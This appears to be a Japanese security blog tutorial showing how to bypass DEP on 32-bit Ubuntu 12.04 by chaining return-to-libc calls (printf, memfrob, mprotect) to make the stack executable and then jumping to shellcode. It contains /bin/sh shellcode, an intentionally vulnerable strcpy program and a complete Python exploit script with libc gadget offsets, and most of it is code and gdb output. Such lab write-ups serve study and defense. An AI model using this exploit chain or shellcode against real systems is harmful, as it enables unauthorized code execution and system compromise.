Return-to-libcとmprotect(2)でDEPを回避してみる
Return-to-libcによるDEP回避ではすでに存在する関数しか呼ぶことができないが、実行時に動的にメモリ領域のアクセス保護オプションを書き換えることでスタック上の任意のコードを実行させることができる。 メモリ領域のアクセス保護オプションを書き換えるには、Windowsの場合VirtualProtectEx関数、Linuxの場合mprotect(2)が使える。 ここでは、Return-to-libcでmprotectを呼び、スタック上のシェルコードを実行してみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
mprotectを試してみる
まずは簡単なコードでmprotectの挙動を確認してみる。
$ man 2 mprotect NAME mprotect - set protection on a region of memory SYNOPSIS #include <sys/mman.h> int mprotect(const void *addr, size_t len, int prot); DESCRIPTION mprotect() changes protection for the calling process's memory page(s) containing any part of the address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary.
ドキュメントを参考に、スタック領域の実行オプションを有効にした上でスタック上のシェルコードを実行するコードを書く。
スタックのメモリ領域は、一旦コンパイルしてgdbで実行し、info proc mappings
を表示させることにより調べた。
/* mprotect.c */ #include <stdio.h> #include <sys/mman.h> int main() { char shellcode[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; printf("shellcode = %p\n", shellcode); mprotect((void *)0xbffdf000, 0x21000, PROT_READ | PROT_WRITE | PROT_EXEC); (*(void (*)())shellcode)(); }
DEP、SSP有効、ASLR無効でコンパイル・実行すると、DEPが有効な状態でスタック上のシェルコードが実行されシェルが立ち上がっていることが確認できる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc mprotect.c $ ./a.out shellcode = 0xbffff773 $
gdbでmprotectが実行される前後におけるメモリ領域の属性を確認してみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x08048464 <+0>: push ebp 0x08048465 <+1>: mov ebp,esp 0x08048467 <+3>: and esp,0xfffffff0 0x0804846a <+6>: sub esp,0x30 0x0804846d <+9>: mov eax,gs:0x14 0x08048473 <+15>: mov DWORD PTR [esp+0x2c],eax 0x08048477 <+19>: xor eax,eax 0x08048479 <+21>: mov DWORD PTR [esp+0x13],0x6852d231 0x08048481 <+29>: mov DWORD PTR [esp+0x17],0x68732f2f 0x08048489 <+37>: mov DWORD PTR [esp+0x1b],0x69622f68 0x08048491 <+45>: mov DWORD PTR [esp+0x1f],0x52e3896e 0x08048499 <+53>: mov DWORD PTR [esp+0x23],0x8de18953 0x080484a1 <+61>: mov DWORD PTR [esp+0x27],0x80cd0b42 0x080484a9 <+69>: mov BYTE PTR [esp+0x2b],0x0 0x080484ae <+74>: mov eax,0x80485d0 0x080484b3 <+79>: lea edx,[esp+0x13] 0x080484b7 <+83>: mov DWORD PTR [esp+0x4],edx 0x080484bb <+87>: mov DWORD PTR [esp],eax 0x080484be <+90>: call 0x8048370 <printf@plt> 0x080484c3 <+95>: mov DWORD PTR [esp+0x8],0x7 0x080484cb <+103>: mov DWORD PTR [esp+0x4],0x21000 0x080484d3 <+111>: mov DWORD PTR [esp],0xbffdf000 0x080484da <+118>: call 0x8048360 <mprotect@plt> 0x080484df <+123>: lea eax,[esp+0x13] 0x080484e3 <+127>: call eax 0x080484e5 <+129>: mov edx,DWORD PTR [esp+0x2c] 0x080484e9 <+133>: xor edx,DWORD PTR gs:0x14 0x080484f0 <+140>: je 0x80484f7 <main+147> 0x080484f2 <+142>: call 0x8048380 <__stack_chk_fail@plt> 0x080484f7 <+147>: leave 0x080484f8 <+148>: ret End of assembler dump. (gdb) b *main+118 Breakpoint 1 at 0x80484da (gdb) run Starting program: /home/user/tmp/a.out shellcode = 0xbffff743 Breakpoint 1, 0x080484da in main () (gdb) x/i $pc => 0x80484da <main+118>: call 0x8048360 <mprotect@plt> (gdb) info proc process 1199 cmdline = '/home/user/tmp/a.out' cwd = '/home/user/tmp' exe = '/home/user/tmp/a.out' (gdb) shell cat /proc/1199/maps 08048000-08049000 r-xp 00000000 08:01 1966158 /home/user/tmp/a.out 08049000-0804a000 r--p 00000000 08:01 1966158 /home/user/tmp/a.out 0804a000-0804b000 rw-p 00001000 08:01 1966158 /home/user/tmp/a.out b7e2b000-b7e2c000 rw-p 00000000 00:00 0 b7e2c000-b7fd0000 r-xp 00000000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd0000-b7fd2000 r--p 001a4000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd2000-b7fd3000 rw-p 001a6000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd3000-b7fd6000 rw-p 00000000 00:00 0 b7fdb000-b7fde000 rw-p 00000000 00:00 0 b7fde000-b7ffe000 r-xp 00000000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7ffe000-b7fff000 r--p 0001f000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7fff000-b8000000 rw-p 00020000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] (gdb) nexti 0x080484df in main () (gdb) shell cat /proc/1199/maps 08048000-08049000 r-xp 00000000 08:01 1966158 /home/user/tmp/a.out 08049000-0804a000 r--p 00000000 08:01 1966158 /home/user/tmp/a.out 0804a000-0804b000 rw-p 00001000 08:01 1966158 /home/user/tmp/a.out b7e2b000-b7e2c000 rw-p 00000000 00:00 0 b7e2c000-b7fd0000 r-xp 00000000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd0000-b7fd2000 r--p 001a4000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd2000-b7fd3000 rw-p 001a6000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd3000-b7fd6000 rw-p 00000000 00:00 0 b7fdb000-b7fde000 rw-p 00000000 00:00 0 b7fde000-b7ffe000 r-xp 00000000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7ffe000-b7fff000 r--p 0001f000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7fff000-b8000000 rw-p 00020000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so bffdf000-bffdf000 rw-p 00000000 00:00 0 bffdf000-c0000000 rwxp 00000000 00:00 0 [stack] (gdb) c Continuing. process 1199 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. $ [Inferior 1 (process 1199) exited normally] (gdb) quit
スタックに対応するbffdf000-c0000000のアクセス保護オプションが、rw-p
からrwxp
に変わっていることがわかる。
脆弱性のあるプログラムを用意する
mprotectの挙動を確認したところで、実際にスタックバッファオーバーフローの脆弱性があるコードを用意する。
/* bof.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[300] = {}; /* set all bytes to zero */ printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
DEP有効、ASLR、SSP無効でコンパイルし、バッファオーバーフローが起こることを確認する。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c $ ./a.out $(python -c 'print "A"*300') buf = 0xbffff544 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ ./a.out $(python -c 'print "A"*316') buf = 0xbffff534 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped)
バッファオーバーフローによりバッファから4ワード先(13~16バイト目)のリターンアドレスが書き換えられ、セグメンテーション違反で落ちることが確認できる。
エクスプロイトコードを書いてみる
次に、Return-to-libcでmprotectを呼ぶエクスプロイトコードについて考える。 最初にmprotectを試したコードのアセンブリコードから、mprotectを呼ぶ際にはスタック上位から0xbffdf000、0x21000、0x7を積んでおけばよいことがわかる。
0x080484c3 <+95>: mov DWORD PTR [esp+0x8],0x7 0x080484cb <+103>: mov DWORD PTR [esp+0x4],0x21000 0x080484d3 <+111>: mov DWORD PTR [esp],0xbffdf000 0x080484da <+118>: call 0x8048360 <mprotect@plt>
しかし、この3つにはnullバイトが含まれている。 第2引数はnullバイトが含まれないようにできるが、第1引数のアドレスはページ境界でなければならないので一般的なページサイズ4096の環境では下位3バイトが0でなければならない。 また、第3引数の上位3バイトの0も除去することができない。
これについてはprintfを使って動的に値をセットしてもよいが、脆弱性のあるプログラムにglibcが使われている場合はmemfrob(3)を使う方法もある。 memfrobは指定したメモリ領域の各バイトを42 (=0x2a) でXORするglibc独自の関数である。
$ man 3 memfrob NAME memfrob - frobnicate (encrypt) a memory area SYNOPSIS #define _GNU_SOURCE /* See feature_test_macros(7) */ #include <string.h> void *memfrob(void *s, size_t n); DESCRIPTION The memfrob() function encrypts the first n bytes of the memory area s by exclusive-ORing each character with the number 42. The effect can be reversed by using memfrob() on the encrypted memory area.
これを使って事前に0x2aでXORしておいたバイト列を実行時に元に戻すことで、nullバイトを多く含むバイト列もスタック上に配置することができる。
そして最後にjmp esp
にreturnして後に続くシェルコードを実行するエクスプロイトコードを書くと、次のようになる。
各オフセットの調べ方については、過去のエントリを参照のこと。
# exploit.py import sys import struct from subprocess import Popen, PIPE shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' bufsize = int(sys.argv[1]) libc_base = int(sys.argv[2], 16) addr_buf = int(sys.argv[3], 16) buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', libc_base + 0x0004ced0) # 0004ced0 T printf buf += struct.pack('<I', libc_base + 0x16f8a) # 16f8a: pop edi buf += struct.pack('<I', addr_buf + len(buf) + (4*11) + len(shellcode)) buf += struct.pack('<I', libc_base + 0x00080000 - 1) # 00080000 T memfrob (-1) buf += struct.pack('<I', libc_base + 0xf3ad0) # f3ad0: pop ecx; pop eax buf += struct.pack('<I', addr_buf + len(buf) + (4*4)) buf += struct.pack('<I', addr_buf + len(buf)) buf += struct.pack('<I', libc_base + 0x000ebff0) # 000ebff0 W mprotect buf += struct.pack('<I', libc_base + 0x16f88) # 16f88: pop ebx; pop esi; pop edi buf += struct.pack('<I', 0xbffdf000 ^ 0x2a2a2a2a) buf += struct.pack('<I', 0x21000 ^ 0x2a2a2a2a) buf += struct.pack('<I', 7 ^ 0x2a2a2a2a) buf += struct.pack('<I', libc_base + 0x16af27) # 16af27: jmp esp buf += shellcode buf += '%12c%4$n' with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out', buf]) p.wait()
memfrobのオフセットについてはそのままだとnullバイトが含まれてしまうので、1バイト前のnopからのオフセットを指定した。
$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep -C5 '<memfrob>:' 7fffc: 90 nop 7fffd: 90 nop 7fffe: 90 nop 7ffff: 90 nop 00080000 <memfrob>: 80000: 8b 4c 24 08 mov ecx,DWORD PTR [esp+0x8] 80004: 8b 44 24 04 mov eax,DWORD PTR [esp+0x4] 80008: 85 c9 test ecx,ecx 8000a: 74 0f je 8001b <memfrob+0x1b> 8000c: 89 c2 mov edx,eax
上で書いたエクスプロイトコードは、バッファサイズ、libcのベースアドレスとバッファの先頭アドレスを順に引数に取る。 gdbを使ってlibcのベースアドレスを調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/mprotect/mprotect2/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048449 Starting program: /home/user/tmp/mprotect/mprotect2/a.out Temporary breakpoint 1, 0x08048449 in main () (gdb) i proc map process 12746 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/user/tmp/mprotect/mprotect2/a.out 0x8049000 0x804a000 0x1000 0x0 /home/user/tmp/mprotect/mprotect2/a.out 0x804a000 0x804b000 0x1000 0x1000 /home/user/tmp/mprotect/mprotect2/a.out 0xb7e2a000 0xb7e2b000 0x1000 0x0 0xb7e2b000 0xb7fcf000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so 0xb7fcf000 0xb7fd1000 0x2000 0x1a4000 /lib/i386-linux-gnu/libc-2.15.so 0xb7fd1000 0xb7fd2000 0x1000 0x1a6000 /lib/i386-linux-gnu/libc-2.15.so 0xb7fd2000 0xb7fd5000 0x3000 0x0 0xb7fdb000 0xb7fdd000 0x2000 0x0 0xb7fdd000 0xb7fde000 0x1000 0x0 [vdso] 0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so 0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.15.so 0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.15.so 0xbffdf000 0xc0000000 0x21000 0x0 [stack] (gdb) quit A debugging session is active. Inferior 1 [process 12746] will be killed. Quit anyway? (y or n) y
libcは0xb7e2b000にロードされていることがわかる。 最後に、バッファの先頭アドレスも指定してエクスプロイトコードを実行してみる。
$ python exploit.py 300 0xb7e2b000 0xcccccccc buf = 0xbffff4d4 (snip) $ python exploit.py 300 0xb7e2b000 0xbffff4d4 buf = 0xbffff4d4 (snip) $
DEPが有効な状態でスタック上のシェルコードが実行され、シェルが立ち上がることが確認できた。